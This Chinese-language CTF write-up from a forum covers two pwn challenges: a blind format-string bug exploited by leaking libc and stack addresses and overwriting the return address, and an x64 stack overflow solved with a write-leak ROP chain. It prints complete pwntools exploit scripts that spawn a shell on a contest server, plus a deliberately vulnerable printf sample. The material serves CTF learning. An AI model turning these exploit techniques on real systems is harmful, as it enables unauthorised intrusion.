记一道blind pwn的漏洞发现及利用
Peanuts CTF 8532浏览 · 2018-12-26 00:37

blind-format-pwn

题目感觉还是比较有借鉴价值的一个format-pwn,因为是第一次做盲pwn的题。比赛题目是周末的南宁市的一个网络安全竞赛,个人感觉就这一个题值得一看。

测试

不知道题目是什么歌情况所以会借一些常见的漏洞进行测试,比如格式化字符串啊,栈溢出什么的,除了这些肯定盲pwn基本是出不了什么。

这里我对这两个点进行了一个测试,格式化字符串很明显的就出来了,还有一个栈溢出我测试了0x10000字符估计是没有了。

分析

一个盲pwn的题,思路一定要清晰,一个格式化字符串有哪些可以利用:

一、对二进制文件进行一个dump需要注意的是,32位是0x8048000开始这里会有elf头,当然是在没有pie的情况下,如果是64位就会从0x400000开始。dump的规则和脚本在ctf-wiki上有,这里就不进行具体的分析了,每次使用只需要改变一些参数就可以。

二、直接硬上,不停泄漏地址然后进行一个半猜式的做题。

地址泄漏

这里我尝试过进行一个地址的dump但是没有成功所以就只能硬上了,感谢lm0963师傅的教导,进行了一个地址的爆破

from pwn import*
context.log_level = 'debug'
for i in range(0,500):
    p.sendline("%"+str(i)+"p")
p.interactive()

手动进行一波观察爆破

当然这个地址之前也有很多很像的,只是我选中了这个地址,把所给的libc拖进ida,然后对比后三位发现了这个偏移,是_libc_start_main里的一个位置。这样我们就可以知道任何函数的地址。

利用探索

一、我首先想到的是进行一个_malloc_hook的覆盖,因为在printf的时候会进行一个调用,也会调用free_hook,但是尝试了一下不能用。。估计是屏蔽了什么操作,覆盖got表也不行,所以只能思考其他的思路了。

二、膜lm0963师傅又是一波强力教学,我们在第一次输入%p的时候打印出的是esp+0的一个地址,这个可以自己在本地写一个差不多的程序进行一个调试,范例如下:

#include<stdio.h>
int main(){
    char s;
    while(1)
    {
    scanf("%s",s);
    printf(s);
    }
}

然后进行一个本地的调试,可以发现,又是lm0963师傅的思路。在这里感谢师傅。

可以发现我们的第一个参数就是esp+0,然后加上我们的测出来的参数偏移7 4 ➕41 这个就是ret的地址来。

最后思路

先进行一个libc的地址泄漏计算出libc偏移,再进行ret地址的泄漏然后利用格式化字符串进行一个地址的覆盖。这个题目中提示了用不了onegadget,所以只能system来getshell,其中/bin/sh字符串需要写在栈上。

exp:
from pwn import*
#context.log_level = 'debug'
p = remote( '47.106.209.151',44444)
e = ELF("./x86_libc.so.6")
pay = '%267$p'
p.sendline(pay)
libc_offset =  int(p.recv(),16) - 0x18637
system = libc_offset + e.symbols["system"]
p.sendline("%p")
stack = int(p.recv(),16)
print e.search("/bin/sh").next()
bins = libc_offset +e.search("/bin/sh").next()
one = 0x3a812 + libc_offset
pay=fmtstr_payload(7,{stack-4*8:system,stack-4*6:stack+0x100},write_size='byte')
pay=pay.ljust(0x100)+'/bin/sh\0'
p.sendline(pay)
p.interactive()

总结

这个题目本身还是很有可说的,因为第一次做这个blind format pwn,感觉需要思路开阔一些,敢猜,并且加一点直觉(应该都是积累出来的经验。。)

pwn_x64

这是比赛的另一个题,总共就两个pwn很简单的一个栈溢出,然后利用write函数进行一个地址泄漏,需要注意的应该就是在泄漏时候的地址传参了。这里直接贴出了exp

from pwn import*
context.log_level = 'debug'
#p = process("./pwn_x64")
p = remote('47.106.209.151',55555)
e = ELF("./x64_libc.so.6")
#gdb.attach(p)
write_plt = 0x400450
write_got = 0x601018
pop_ROP = 0x40062e
pop_rdi = 0x0400633
pop_rsi = 0x0400631
pay = 'a'*136 +p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(0)+p64(write_plt)+p64(0x040057D)

p.recvuntil("\n")
p.sendline(pay)
libc_addr = int(u64(p.recv()[0:6].ljust(8,'\x00'))) - e.symbols["write"]
system = e.symbols["system"] + libc_addr
bins = int(e.search("/bin/sh").next()) + libc_addr
p.sendline("a"*136+p64(pop_rdi)+p64(bins)+p64(system))
p.interactive()
总结

比赛很简单,适合新手练习,个人认为比较有练习价值的就是blind format pwn。

2 条评论
某人
表情
可输入 255